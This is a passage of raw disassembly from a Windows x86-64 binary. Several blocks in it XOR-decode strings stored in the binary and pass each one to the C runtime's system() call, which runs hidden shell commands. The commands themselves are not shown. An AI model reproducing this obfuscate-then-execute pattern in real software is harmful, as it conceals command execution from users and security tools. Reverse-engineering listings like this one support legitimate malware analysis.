movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x140043dd0
cmp r8d, 0xc2
jge 0x140043f23
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x140043ef0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
lea rax, [rbx + 0xcedb0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
cmp esi, 2
jl 0x1400440f2
movdqa xmm5, xmmword [0x1400cfb40]
mov edx, edi
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x140043ff0
jmp 0x140044133
lea r9, [rbp - 0x80]
mov r8d, edi
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x140044100
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
lea rax, [rbx + 0xcf370]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
cmp esi, 2
jl 0x140044302
movdqa xmm5, xmmword [0x1400cfb40]
mov edx, edi
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x140044200
jmp 0x140044343
lea r9, [rbp - 0x80]
mov r8d, edi
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x140044310
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cee70]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cee80]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cee90]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ceea0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ceeb0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ceec0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ceed0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400ceee0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400ceef0]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400cef00]
movsd qword [rbp + 0x10], xmm0
cmp esi, 2
jl 0x140044502
movdqa xmm5, xmmword [0x1400cfb40]
mov edx, edi
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x98
jl 0x140044400
jmp 0x140044543
lea r9, [rbp - 0x80]
mov r8d, edi
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x98
jl 0x140044510
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cf690]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cf6a0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cf6b0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cf6c0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cf6d0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cf6e0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cf6f0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400cf700]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400cf710]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400cf720]
movsd qword [rbp + 0x10], xmm0
movzx eax, byte [0x1400cf728]
mov byte [rbp + 0x18], al
mov r8d, edi
cmp esi, 2
jl 0x14004470c
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140044601
cmp r8d, 0x99
jge 0x140044753
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x140044720
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce240]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce250]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ce260]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ce270]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ce280]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ce290]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ce2a0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400ce2b0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400ce2c0]
movups xmmword [rbp], xmm0
mov eax, dword [0x1400ce2d0]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1400ce2d4]
mov word [rbp + 0x14], ax
movzx eax, byte [0x1400ce2d6]
mov byte [rbp + 0x16], al
mov r8d, edi
cmp esi, 2
jl 0x14004492b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140044820
cmp r8d, 0x97
jge 0x140044973
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x140044940
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce4e0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce4f0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ce500]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ce510]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ce520]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ce530]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ce540]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400ce550]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x1400ce560]
movsd qword [rbp], xmm0
movzx eax, byte [0x1400ce568]
mov byte [rbp + 8], al
mov r8d, edi
cmp esi, 2
jl 0x140044b3b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140044a30
cmp r8d, 0x89
jge 0x140044b83
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x89
jl 0x140044b50
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce360]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce370]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ce380]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ce390]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ce3a0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ce3b0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ce3c0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400ce3d0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400ce3e0]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400ce3f0]
movsd qword [rbp + 0x10], xmm0
movzx eax, byte [0x1400ce3f8]
mov byte [rbp + 0x18], al
mov r8d, edi
cmp esi, 2
jl 0x140044d4c
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140044c41
cmp r8d, 0x99
jge 0x140044d93
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x140044d60
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cf880]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cf890]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cf8a0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cf8b0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cf8c0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cf8d0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cf8e0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400cf8f0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400cf900]
movups xmmword [rbp], xmm0
mov eax, dword [0x1400cf910]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1400cf914]
mov word [rbp + 0x14], ax
mov r8d, edi
cmp esi, 2
jl 0x140044f5b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140044e50
cmp r8d, 0x96
jge 0x140044fa3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140044f70
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce0c0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce0d0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ce0e0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ce0f0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ce100]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ce110]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ce120]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400ce130]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400ce140]
movups xmmword [rbp], xmm0
mov eax, dword [0x1400ce150]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1400ce154]
mov word [rbp + 0x14], ax
mov r8d, edi
cmp esi, 2
jl 0x14004516b
movdqa xmm5, xmmword [0x1400cfb40]
